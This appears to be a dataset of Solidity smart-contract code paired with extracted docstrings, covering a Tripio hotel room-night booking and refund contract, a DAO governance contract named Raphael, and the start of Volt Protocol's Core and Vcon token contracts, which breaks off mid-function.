vendors[_vendorId].ratePlans[_rpid]; vendors[_vendorId].ratePlanList.remove(_rpid); } /** * @dev Update `_rpid` of `_vendorId` by `_name` and `_ipfs` * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _name The rate plan name * @param _ipfs The rate plan IPFS address */ function updateRatePlan(uint256 _vendorId, uint256 _rpid, string _name, bytes32 _ipfs) public onlyOwnerOrAuthorizedContract { vendors[_vendorId].ratePlans[_rpid].ipfs = _ipfs; vendors[_vendorId].ratePlans[_rpid].name = _name; } /** * @dev Push token contract to the token list * @param _direction direction to step in */ function pushToken(address _contract, bool _direction) public onlyOwnerOrAuthorizedContract returns(uint256) { uint256 id = tokenList.push(_direction); tokenIndexToAddress[id] = _contract; return id; } /** * @dev Remove token by `_tokenId` * @param _tokenId The digital token id */ function removeToken(uint256 _tokenId) public onlyOwnerOrAuthorizedContract { delete tokenIndexToAddress[_tokenId]; tokenList.remove(_tokenId); } /** * @dev Generate room night token * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _date The date desc (20180723) * @param _token The token id * @param _price The token price * @param _ipfs The rate plan IPFS address */ function generateRoomNightToken(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _token, uint256 _price, bytes32 _ipfs) public onlyOwnerOrAuthorizedContract returns(uint256) { roomnights.push(RoomNight(_vendorId, _rpid, _token, _price, now, _date, _ipfs)); // Give the token to `_customer` uint256 rnid = uint256(roomnights.length - 1); return rnid; } /** * @dev Update refund applications * @param _buyer The room night token holder * @param _rnid The room night token id * @param _isRefund Is redund or not */ function updateRefundApplications(address _buyer, uint256 _rnid, bool _isRefund) public onlyOwnerOrAuthorizedContract { refundApplications[_buyer][_rnid] = _isRefund; } /** * @dev Push vendor info to the vendor list * @param _name The name of vendor * @param _vendor The vendor address * @param _direction direction to step in */ function pushVendor(string _name, address _vendor, bool _direction) public onlyOwnerOrAuthorizedContract returns(uint256) { uint256 id = vendorList.push(_direction); vendorIds[_vendor] = id; vendors[id] = Vendor(_name, _vendor, uint256(now), true, LinkedListLib.LinkedList(0, 0)); return id; } /** * @dev Remove vendor from vendor list * @param _vendorId The vendor id */ function removeVendor(uint256 _vendorId) public onlyOwnerOrAuthorizedContract { vendorList.remove(_vendorId); address vendor = vendors[_vendorId].vendor; vendorIds[vendor] = 0; delete vendors[_vendorId]; } /** * @dev Make vendor valid or invalid * @param _vendorId The vendor id * @param _valid The vendor is valid or not */ function updateVendorValid(uint256 _vendorId, bool _valid) public onlyOwnerOrAuthorizedContract { vendors[_vendorId].valid = _valid; } /** * @dev Modify vendor's name * @param _vendorId The vendor id * @param _name Then vendor name */ function updateVendorName(uint256 _vendorId, string _name) public onlyOwnerOrAuthorizedContract { vendors[_vendorId].name = _name; } } contract TRNTransactions is TRNOwners { /** * Constructor */ constructor() public { } /** * This emits when rate plan is bought in batch */ event BuyInBatch(address indexed _customer, address indexed _vendor, uint256 indexed _rpid, uint256[] _dates, uint256 _token); /** * This emits when token refund is applied */ event ApplyRefund(address _customer, uint256 indexed _rnid, bool _isRefund); /** * This emits when refunded */ event Refund(address _vendor, uint256 _rnid); /** * @dev Complete the buy transaction, * The inventory minus one and the room night token transfer to customer * @param _vendorId The vendor account * @param _rpid The vendor's rate plan id * @param _date The booking date * @param _customer The customer account * @param _token The token Id */ function _buy(uint256 _vendorId, uint256 _rpid, uint256 _date, address _customer, uint256 _token) private { // Product room night token (,,uint256 _price) = dataSource.getPrice(_vendorId, _rpid, _date, _token); (,,bytes32 _ipfs) = dataSource.getRatePlan(_vendorId, _rpid); uint256 rnid = dataSource.generateRoomNightToken(_vendorId, _rpid, _date, _token, _price, _ipfs); // Give the token to `_customer` dataSource.transferTokenTo(rnid, _customer); // Record the token to `_customer` account _pushRoomNight(_customer, rnid, false); // Record the token to `_vendor` account (,address vendor,,) = dataSource.getVendor(_vendorId); _pushRoomNight(vendor, rnid, true); // The inventory minus one dataSource.reduceInventories(_vendorId, _rpid, _date, 1); } /** * @dev Complete the buy transaction in batch, * The inventory minus one and the room night token transfer to customer * @param _vendorId The vendor account * @param _vendor Then vendor address * @param _rpid The vendor's rate plan id * @param _dates The booking date * @param _token The token Id */ function _buyInBatch(uint256 _vendorId, address _vendor, uint256 _rpid, uint256[] _dates, uint256 _token) private returns(bool) { (uint16[] memory inventories, uint256[] memory values) = dataSource.getPrices(_vendorId, _rpid, _dates, _token); uint256 totalValues = 0; for(uint256 i = 0; i < _dates.length; i++) { if(inventories[i] == 0 || values[i] == 0) { return false; } totalValues += values[i]; // Transfer the room night to `msg.sender` _buy(_vendorId, _rpid, _dates[i], msg.sender, _token); } if (_token == 0) { // By through ETH require(msg.value == totalValues); // Transfer the ETH to `_vendor` _vendor.transfer(totalValues); } else { // By through other digital token address tokenAddress = dataSource.tokenIndexToAddress(_token); require(tokenAddress != address(0)); // This contract transfer `price.trio` from `msg.sender` account TripioToken tripio = TripioToken(tokenAddress); tripio.transferFrom(msg.sender, _vendor, totalValues); } return true; } /** * Complete the refund transaction * Remove the `_rnid` from the owner account and the inventory plus one */ function _refund(uint256 _rnid, uint256 _vendorId, uint256 _rpid, uint256 _date) private { // Remove the `_rnid` from the owner _removeRoomNight(dataSource.roomNightIndexToOwner(_rnid), _rnid); // The inventory plus one dataSource.addInventories(_vendorId, _rpid, _date, 1); // Change the owner of `_rnid` dataSource.transferTokenTo(_rnid, address(0)); } /** * @dev By room nigth in batch through ETH(`_token` == 0) or other digital token(`_token != 0`) * Throw when `_rpid` not exist * Throw unless each inventory more than zero * Throw unless `msg.value` equal to `price.eth` * This method is payable, can accept ETH transfer * @param _vendorId The vendor Id * @param _rpid The _vendor's rate plan id * @param _dates The booking dates * @param _token The digital currency token */ function buyInBatch(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _token) external payable ratePlanExist(_vendorId, _rpid) validDates(_dates) returns(bool) { (,address vendor,,) = dataSource.getVendor(_vendorId); bool result = _buyInBatch(_vendorId, vendor, _rpid, _dates, _token); require(result); // Event emit BuyInBatch(msg.sender, vendor, _rpid, _dates, _token); return true; } /** * @dev Apply room night refund * Throw unless `_rnid` is valid * Throw unless `_rnid` can transfer * @param _rnid room night identifier * @param _isRefund if `true` the `_rnid` can transfer else not */ function applyRefund(uint256 _rnid, bool _isRefund) external validToken(_rnid) canTransfer(_rnid) returns(bool) { dataSource.updateRefundApplications(msg.sender, _rnid, _isRefund); // Event emit ApplyRefund(msg.sender, _rnid, _isRefund); return true; } /** * @dev Whether the `_rnid` is in refund applications * @param _rnid room night identifier */ function isRefundApplied(uint256 _rnid) external view validToken(_rnid) returns(bool) { return dataSource.refundApplications(dataSource.roomNightIndexToOwner(_rnid), _rnid); } /** * @dev Refund through ETH or other digital token, give the room night ETH/TOKEN to customer and take back inventory * Throw unless `_rnid` is valid * Throw unless `msg.sender` is vendor * Throw unless the refund application is true * Throw unless the `msg.value` is equal to `roomnight.eth` * @param _rnid room night identifier */ function refund(uint256 _rnid) external payable validToken(_rnid) returns(bool) { // Refund application is true require(dataSource.refundApplications(dataSource.roomNightIndexToOwner(_rnid), _rnid)); // The `msg.sender` is the vendor of the room night. (uint256 vendorId,uint256 rpid,uint256 token,uint256 price,,uint256 date,) = dataSource.roomnights(_rnid); (,address vendor,,) = dataSource.getVendor(vendorId); require(msg.sender == vendor); address ownerAddress = dataSource.roomNightIndexToOwner(_rnid); if (token == 0) { // Refund by ETH // The `msg.sender` is equal to `roomnight.eth` uint256 value = price; require(msg.value >= value); // Transfer the ETH to roomnight's owner ownerAddress.transfer(value); } else { // Refund by TRIO // The `roomnight.trio` is more than zero require(price > 0); // This contract transfer `price.trio` from `msg.sender` account TripioToken tripio = TripioToken(dataSource.tokenIndexToAddress(token)); tripio.transferFrom(msg.sender, ownerAddress, price); } // Refund _refund(_rnid, vendorId, rpid, date); // Event emit Refund(msg.sender, _rnid); return true; } } contract TripioRoomNightCustomer is TRNAsset, TRNSupportsInterface, TRNOwnership, TRNTransactions { /** * Constructor */ constructor(address _dataSource) public { // Init the data source dataSource = TripioRoomNightData(_dataSource); } /** * @dev Withdraw ETH balance from contract account, the balance will transfer to the contract owner */ function withdrawBalance() external onlyOwner { owner.transfer(address(this).balance); } /** * @dev Withdraw other TOKEN balance from contract account, the balance will transfer to the contract owner * @param _token The TOKEN id */ function withdrawTokenId(uint _token) external onlyOwner { TripioToken tripio = TripioToken(dataSource.tokenIndexToAddress(_token)); uint256 tokens = tripio.balanceOf(address(this)); tripio.transfer(owner, tokens); } /** * @dev Withdraw other TOKEN balance from contract account, the balance will transfer to the contract owner * @param _tokenAddress The TOKEN address */ function withdrawToken(address _tokenAddress) external onlyOwner { TripioToken tripio = TripioToken(_tokenAddress); uint256 tokens = tripio.balanceOf(address(this)); tripio.transfer(owner, tokens); } /** * @dev Destory the contract */ function destroy() external onlyOwner { selfdestruct(owner); } function() external payable { } }
Apply room night refund Throw unless `_rnid` is valid Throw unless `_rnid` can transfer _rnid room night identifier _isRefund if `true` the `_rnid` can transfer else not/ Event
function applyRefund(uint256 _rnid, bool _isRefund) external validToken(_rnid) canTransfer(_rnid) returns(bool) { dataSource.updateRefundApplications(msg.sender, _rnid, _isRefund); emit ApplyRefund(msg.sender, _rnid, _isRefund); return true; }
13,066,664
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./IStaking.sol"; import "./IVITA.sol"; contract Raphael is ERC721Holder, Ownable, ReentrancyGuard { // Different stages of a proposal enum ProposalStatus { VOTING_NOT_STARTED, VOTING, VOTES_FINISHED, RESOLVED, CANCELLED, QUORUM_FAILED } struct Proposal { string details; uint256 votesFor; uint256 votesAgainst; uint256 startBlock; uint256 endBlock; ProposalStatus status; } // key is a self-incrementing number mapping(uint256 => Proposal) private proposals; mapping(uint256 => mapping(address => bool)) private voted; //global voted mapping uint256 public proposalCount; uint256 private minVotesNeeded; address private nativeTokenAddress; address private stakingContractAddress; address[] private nftContractAddresses; bool private shutdown = false; uint256 public CREATE_TO_VOTE_PROPOSAL_DELAY = 13091; // ~2 days uint256 public VOTING_DURATION = 91636; // ~14 days uint256 public constant MIN_DURATION = 5; // ~ 1 minute uint256 public constant MAX_DURATION = 200000; // ~1 month event VotingDelayChanged(uint256 newDuration); event VotingDurationChanged(uint256 newDuration); event NativeTokenChanged( address newAddress, address oldAddress, address changedBy ); event StakingAddressChanged( address newAddress, address oldAddress, address changedBy ); event NativeTokenTransferred( address authorizedBy, address to, uint256 amount ); event NFTReceived(address nftContract, address sender, uint256 tokenId); event NFTTransferred(address nftContract, address to, uint256 tokenId); event EmergencyShutdown(address triggeredBy, uint256 currentBlock); event EmergencyNFTApproval( address triggeredBy, address[] nftContractAddresses, uint256 startIndex, uint256 endIndex ); event EmergencyNFTApprovalFail(address nftContractAddress); event ProposalCreated( uint256 proposalId, string details, uint256 vote_start, uint256 vote_end ); event ProposalStatusChanged(uint256 proposalId, ProposalStatus newStatus); event Voted(address voter, uint256 proposalId, uint256 weight, bool direction); modifier notShutdown() { require(!shutdown, "cannot be called after shutdown"); _; } modifier onlyShutdown() { require(shutdown, "can only call after shutdown"); _; } constructor() Ownable() { proposalCount = 0; //starts with 0 proposals minVotesNeeded = 965390 * 1e18; // 5% of initial distribution } function getDidVote(uint256 proposalIndex) public view returns (bool) { return voted[proposalIndex][_msgSender()]; } /** * @dev returns all data for a specified proposal * @param proposalIndex uint index of proposal * @return string, 5 x uint (the parts of a Proposal object) */ function getProposalData(uint256 proposalIndex) public view returns ( string memory, uint256, uint256, uint256, uint256, uint8 ) { require(proposalIndex <= proposalCount && proposalIndex !=0, "Proposal doesn't exist"); return ( proposals[proposalIndex].details, proposals[proposalIndex].votesFor, proposals[proposalIndex].votesAgainst, proposals[proposalIndex].startBlock, proposals[proposalIndex].endBlock, uint8(proposals[proposalIndex].status) ); } /** * @dev returns result of a proposal * @param proposalIndex uint index of proposal * @return true if proposal passed, otherwise false */ function getProposalResult(uint256 proposalIndex) public view returns (bool) { require(proposalIndex <= proposalCount && proposalIndex !=0, "Proposal doesn't exist"); require( proposals[proposalIndex].status == ProposalStatus.VOTES_FINISHED || proposals[proposalIndex].status == ProposalStatus.RESOLVED || proposals[proposalIndex].status == ProposalStatus.QUORUM_FAILED, "Proposal must be after voting" ); bool result; // is already false, only need to cover the true case if (proposals[proposalIndex].votesFor > proposals[proposalIndex].votesAgainst && ( proposals[proposalIndex].status == ProposalStatus.VOTES_FINISHED || proposals[proposalIndex].status == ProposalStatus.RESOLVED )) { result = true; } return result; } /** * @dev returns minimum amount of votes needed for a proposal to pass * @return minVotesNeeded value */ function getMinVotesNeeded() public view returns (uint256) { return minVotesNeeded; } /** * @dev returns address of the token associated with the DAO * * @return the address of the token contract */ function getNativeTokenAddress() public view returns (address) { return nativeTokenAddress; } /** * @dev returns the DAO's balance of the native token */ function getNativeTokenBalance() public view returns (uint256) { IVITA nativeTokenContract = IVITA(nativeTokenAddress); return nativeTokenContract.balanceOf(address(this)); } /** * @dev returns an array of the NFTs owned by the DAO * * @return an array of nft structs */ function getNftContractAddresses() public view returns (address[] memory) { return nftContractAddresses; } function getStakingAddress() public view returns (address) { return stakingContractAddress; } /** * @dev returns if DAO is shutdown or not */ function isShutdown() public view returns (bool) { return shutdown; } /**************************** * STATE CHANGING FUNCTIONS * ***************************/ //////////////////////// // PLATFORM VARIABLES // //////////////////////// function setVotingDelayDuration(uint256 newDuration) public onlyOwner { require( newDuration > MIN_DURATION && newDuration < MAX_DURATION, "duration must be >5 <190000" ); CREATE_TO_VOTE_PROPOSAL_DELAY = newDuration; emit VotingDelayChanged(newDuration); } function setVotingDuration(uint256 newDuration) public onlyOwner { require( newDuration > MIN_DURATION && newDuration < MAX_DURATION, "duration must be >5 <190000" ); VOTING_DURATION = newDuration; emit VotingDurationChanged(newDuration); } /** * @dev Updates the min total votes needed for a proposal to pass * @param newVotesNeeded uint new min vote threshold */ function setMinVotesNeeded(uint256 newVotesNeeded) public onlyOwner notShutdown { IVITA nativeTokenContract = IVITA(nativeTokenAddress); require(newVotesNeeded > 0, "quorum cannot be 0"); require( newVotesNeeded <= nativeTokenContract.totalSupply(), "votes needed > token supply" ); minVotesNeeded = newVotesNeeded; } /** * @dev allows admins to set the address of the staking contract associated with the DAO * * @param _stakingContractAddress the (new) address of the staking contract */ function setStakingAddress(address _stakingContractAddress) public onlyOwner notShutdown { address oldAddress = stakingContractAddress; stakingContractAddress = _stakingContractAddress; emit StakingAddressChanged( stakingContractAddress, oldAddress, _msgSender() ); } /** * @dev allows admins to set the address of the token associated with the DAO * * @param tokenContractAddress the address of the ERC20 asset */ function setNativeTokenAddress(address tokenContractAddress) public onlyOwner notShutdown { address oldAddress = nativeTokenAddress; nativeTokenAddress = tokenContractAddress; emit NativeTokenChanged(nativeTokenAddress, oldAddress, _msgSender()); } ////////////////////////// // PROPOSALS AND VOTING // ////////////////////////// /** * @dev Creates a proposal * @param details string with proposal details * */ function createProposal(string memory details) public notShutdown nonReentrant { IStaking stakingContract = IStaking(stakingContractAddress); require( stakingContract.getStakedBalance(_msgSender()) > 0, "must stake to create proposal" ); uint256 start_block = block.number + CREATE_TO_VOTE_PROPOSAL_DELAY; uint256 end_block = start_block + VOTING_DURATION; Proposal memory newProposal = Proposal( details, 0, //votesFor 0, //votesAgainst start_block, end_block, ProposalStatus.VOTING_NOT_STARTED ); require( stakingContract.voted(_msgSender(), newProposal.endBlock), "createProposal: token lock fail" ); proposalCount += 1; // Add new Proposal instance proposals[proposalCount] = newProposal; // lock staked tokens for duration of proposal emit ProposalCreated(proposalCount, details, start_block, end_block); } /** * @dev Moves proposal to the status it should be in * * @param proposalIndex uint proposal key */ function updateProposalStatus(uint256 proposalIndex) public notShutdown { require(proposalIndex <= proposalCount && proposalIndex !=0, "Proposal doesn't exist"); Proposal storage currentProp = proposals[proposalIndex]; // Can't change status of CANCELLED or RESOLVED proposals require( currentProp.status != ProposalStatus.CANCELLED, "Proposal cancelled" ); require( currentProp.status != ProposalStatus.RESOLVED, "Proposal already resolved" ); require( currentProp.status != ProposalStatus.QUORUM_FAILED, "Proposal failed to meet quorum" ); // revert if no change needed if ( // still before voting period currentProp.status == ProposalStatus.VOTING_NOT_STARTED && block.number < currentProp.startBlock ) { revert("Too early to move to voting"); } else if ( // still in voting period currentProp.status == ProposalStatus.VOTING && block.number >= currentProp.startBlock && block.number <= currentProp.endBlock ) { revert("Still in voting period"); } if ( block.number >= currentProp.startBlock && block.number <= currentProp.endBlock && currentProp.status != ProposalStatus.VOTING ) { currentProp.status = ProposalStatus.VOTING; } else if ( block.number < currentProp.startBlock && currentProp.status != ProposalStatus.VOTING_NOT_STARTED ) { currentProp.status = ProposalStatus.VOTING_NOT_STARTED; } else if ( block.number > currentProp.endBlock && currentProp.status != ProposalStatus.VOTES_FINISHED ) { if ( currentProp.votesFor + currentProp.votesAgainst >= minVotesNeeded ) { currentProp.status = ProposalStatus.VOTES_FINISHED; } else { currentProp.status = ProposalStatus.QUORUM_FAILED; } } // Save changes in the proposal mapping proposals[proposalIndex] = currentProp; emit ProposalStatusChanged(proposalIndex, currentProp.status); } /** * @dev Only for setting proposal to RESOLVED. * @dev Only callable from the multi-sig * @param proposalIndex uint proposal key * */ function setProposalToResolved(uint256 proposalIndex) public onlyOwner notShutdown { require(proposalIndex <= proposalCount && proposalIndex !=0, "Proposal doesn't exist"); require( proposals[proposalIndex].status == ProposalStatus.VOTES_FINISHED, "Proposal not in VOTES_FINISHED" ); proposals[proposalIndex].status = ProposalStatus.RESOLVED; emit ProposalStatusChanged(proposalIndex, ProposalStatus.RESOLVED); } /** * @dev Only for setting proposal to CANCELLED. * @dev Only callable from the multi-sig * @param proposalIndex uint proposal key * */ function setProposalToCancelled(uint256 proposalIndex) public onlyOwner notShutdown { require(proposalIndex <= proposalCount && proposalIndex !=0, "Proposal doesn't exist"); require( proposals[proposalIndex].status != ProposalStatus.VOTES_FINISHED, "Can't cancel if vote finished" ); require( proposals[proposalIndex].status != ProposalStatus.RESOLVED, "Proposal already resolved" ); require( proposals[proposalIndex].status != ProposalStatus.QUORUM_FAILED, "Proposal already failed quorum" ); require( proposals[proposalIndex].status != ProposalStatus.CANCELLED, "Proposal already cancelled" ); proposals[proposalIndex].status = ProposalStatus.CANCELLED; emit ProposalStatusChanged(proposalIndex, ProposalStatus.CANCELLED); } /** * @dev Allows any address to vote on a proposal * @param proposalIndex key to proposal in mapping * @param _vote true = for, false = against */ function vote(uint256 proposalIndex, bool _vote) public notShutdown nonReentrant { require(proposalIndex <= proposalCount && proposalIndex !=0, "Proposal doesn't exist"); IStaking stakingContract = IStaking(stakingContractAddress); uint256 stakedBalance = stakingContract.getStakedBalance(_msgSender()); require(stakedBalance > 0, "must stake to vote"); // check msg.sender hasn't already voted require( voted[proposalIndex][_msgSender()] == false, "Already voted from this address" ); Proposal storage currentProp = proposals[proposalIndex]; // Call updateProposalStatus() if proposal should be in VOTING stage require( currentProp.status == ProposalStatus.VOTING && block.number <= currentProp.endBlock, "Proposal not in voting period" ); if (_vote) { currentProp.votesFor += stakedBalance; } else { currentProp.votesAgainst += stakedBalance; } voted[proposalIndex][_msgSender()] = true; require( stakingContract.voted( _msgSender(), proposals[proposalIndex].endBlock ), "vote: token lock fail" ); // Save changes in the proposal mapping proposals[proposalIndex] = currentProp; emit Voted(_msgSender(), proposalIndex, stakedBalance, _vote); } ////////////////////// // ASSET MANAGEMENT // ////////////////////// /** * @dev enables DAO to mint native tokens * @param _amount the amount of tokens to mint */ function mintNativeToken(uint256 _amount) public onlyOwner notShutdown { require(_amount > 0, "Can't mint 0 tokens"); IVITA nativeTokenContract = IVITA(nativeTokenAddress); nativeTokenContract.mint(address(this), _amount); } /** * @dev enables DAO to transfer the token it is associated with * * @param to the address to send tokens to * @param amount the amount to send * * @return success or fail bool */ function transferNativeToken(address to, uint256 amount) public onlyOwner notShutdown returns (bool) { IVITA nativeTokenContract = IVITA(nativeTokenAddress); require( nativeTokenContract.transfer(to, amount), "ERC20 transfer failed" ); emit NativeTokenTransferred(_msgSender(), to, amount); return true; } /** * @dev enables DAO to transfer NFTs received * * @param nftContractAddress the address of the NFT contract * @param recipient the address to send the NFT to * @param tokenId the id of the token in the NFT contract * * @return success or fail bool */ function transferNFT( address nftContractAddress, address recipient, uint256 tokenId ) public onlyOwner notShutdown returns (bool) { IERC721 nftContract = IERC721(nftContractAddress); nftContract.safeTransferFrom( address(this), recipient, tokenId // what if there isn't one? ); require( nftContract.ownerOf(tokenId) == recipient, "NFT transfer failed" ); emit NFTTransferred(nftContractAddress, recipient, tokenId); return true; } //////////////////////// // EMERGENCY SHUTDOWN // //////////////////////// /** * @dev cancels unfinished proposals in a specific range * @param startIndex the index to start cancelling from * @param endIndex the index the cancelling will stop before * * @notice can only be called after shutdown, is called during shutdown */ function emergencyProposalCancellation(uint256 startIndex, uint256 endIndex) external onlyShutdown onlyOwner { require(endIndex > startIndex, "end index must be > start index"); // there is no proposal in the zero slot require(startIndex > 0, "starting index must exceed 0"); // needs to be proposal count + 1 since end index is one past the last cancelled proposal require(endIndex <= proposalCount + 1, "end index > proposal count + 1"); for (uint256 i = startIndex; i < endIndex; i++) { if ( proposals[i].status != ProposalStatus.RESOLVED && proposals[i].status != ProposalStatus.QUORUM_FAILED ) { proposals[i].status = ProposalStatus.CANCELLED; emit ProposalStatusChanged(i, ProposalStatus.CANCELLED); } } } /** * @dev approves admin on all NFT contracts * @param startIndex the index to start cancelling from * @param endIndex the index the cancelling will stop before * * @notice can only be called after shutdown, is called during shutdown */ function emergencyNftApproval(uint256 startIndex, uint256 endIndex) external onlyOwner onlyShutdown nonReentrant { require(endIndex > startIndex, "end index must be > start index"); require(endIndex <= nftContractAddresses.length, "end index > nft array len"); for (uint256 i = startIndex; i < endIndex; i++) { if (nftContractAddresses[i] != address(0)) { IERC721 nftContract = IERC721(nftContractAddresses[i]); if (!nftContract.isApprovedForAll(address(this), owner())) { try nftContract.setApprovalForAll(owner(), true) { } catch { emit EmergencyNFTApprovalFail(nftContractAddresses[i]); } } } } emit EmergencyNFTApproval(_msgSender(), nftContractAddresses, startIndex, endIndex); } /** * @dev allows the admins to shut down the DAO (proposals, voting, transfers) * and also sweeps out any NFTs and native tokens owned by the DAO * * @notice this is an irreversible process! */ function emergencyShutdown() public onlyOwner notShutdown nonReentrant { IStaking stakingContract = IStaking(stakingContractAddress); stakingContract.emergencyShutdown(_msgSender()); shutdown = true; emit EmergencyShutdown(_msgSender(), block.number); } /** * @dev function for receiving and recording an NFT * @notice calls "super" to the OpenZeppelin function inherited * * @param operator the sender of the NFT (I think) * @param from not really sure, has generally been the zero address * @param tokenId the tokenId of the NFT * @param data any additional data sent with the NFT * * @return `IERC721Receiver.onERC721Received.selector` */ function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public override notShutdown returns (bytes4) { nftContractAddresses.push(_msgSender()); emit NFTReceived(_msgSender(), operator, tokenId); return super.onERC721Received(operator, from, tokenId, data); } }
cancels unfinished proposals in a specific range startIndex the index to start cancelling from endIndex the index the cancelling will stop before can only be called after shutdown, is called during shutdown/ there is no proposal in the zero slot needs to be proposal count + 1 since end index is one past the last cancelled proposal
function emergencyProposalCancellation(uint256 startIndex, uint256 endIndex) external onlyShutdown onlyOwner { require(endIndex > startIndex, "end index must be > start index"); require(startIndex > 0, "starting index must exceed 0"); require(endIndex <= proposalCount + 1, "end index > proposal count + 1"); for (uint256 i = startIndex; i < endIndex; i++) { if ( proposals[i].status != ProposalStatus.RESOLVED && proposals[i].status != ProposalStatus.QUORUM_FAILED ) { proposals[i].status = ProposalStatus.CANCELLED; emit ProposalStatusChanged(i, ProposalStatus.CANCELLED); } } }
1,050,874
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import {Vcon} from "../vcon/Vcon.sol"; import {IVolt, Volt, IERC20} from "../volt/Volt.sol"; import {ICore} from "./ICore.sol"; import {Permissions} from "./Permissions.sol"; import {Initializable} from "@openzeppelin/contracts/proxy/utils/Initializable.sol"; /// @title Source of truth for VOLT Protocol /// @author Fei Protocol /// @notice maintains roles, access control, Volt, Vcon, and the Vcon treasury contract Core is ICore, Permissions, Initializable { /// @notice the address of the FEI contract IVolt public override volt; /// @notice the address of the Vcon contract IERC20 public override vcon; function init() external initializer { volt = new Volt(address(this)); /// msg.sender already has the VOLT Minting abilities, so grant them governor as well _setupGovernor(msg.sender); } /// @notice governor only function to set the VCON token function setVcon(IERC20 _vcon) external onlyGovernor { vcon = _vcon; emit VconUpdate(_vcon); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; // Forked from Uniswap's UNI // Reference: https://etherscan.io/address/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code contract Vcon { /// @notice EIP-20 token name for this token // solhint-disable-next-line const-name-snakecase string public constant name = "Volt Controller"; /// @notice EIP-20 token symbol for this token // solhint-disable-next-line const-name-snakecase string public constant symbol = "VCON"; /// @notice EIP-20 token decimals for this token // solhint-disable-next-line const-name-snakecase uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation // solhint-disable-next-line const-name-snakecase uint256 public totalSupply = 1_000_000_000e18; // 1 billion Vcon /// @notice Address which may mint new tokens address public minter; /// @notice Allowance amounts on behalf of others mapping(address => mapping(address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping(address => uint96) internal balances; /// @notice A record of each accounts delegate mapping(address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval( address indexed owner, address indexed spender, uint256 amount ); /** * @notice Construct a new Vcon token * @param account The initial account to grant all the tokens * @param minter_ The account with minting ability */ constructor(address account, address minter_) { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); } /** * @notice Change the minter address * @param minter_ The address of the new minter */ function setMinter(address minter_) external { require( msg.sender == minter, "Vcon: only the minter can change the minter address" ); emit MinterChanged(minter, minter_); minter = minter_; } /** * @notice Mint new tokens * @param dst The address of the destination account * @param rawAmount The number of tokens to be minted */ function mint(address dst, uint256 rawAmount) external { require(msg.sender == minter, "Vcon: only the minter can mint"); require(dst != address(0), "Vcon: cannot transfer to the zero address"); // mint the amount uint96 amount = safe96(rawAmount, "Vcon: amount exceeds 96 bits"); uint96 safeSupply = safe96( totalSupply, "Vcon: totalSupply exceeds 96 bits" ); totalSupply = add96( safeSupply, amount, "Vcon: totalSupply exceeds 96 bits" ); // transfer the amount to the recipient balances[dst] = add96( balances[dst], amount, "Vcon: transfer amount overflows" ); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint256) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 rawAmount) external returns (bool) { uint96 amount; if (rawAmount == type(uint256).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "Vcon: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit( address owner, address spender, uint256 rawAmount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { uint96 amount; if (rawAmount == type(uint256).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "Vcon: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline ) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = 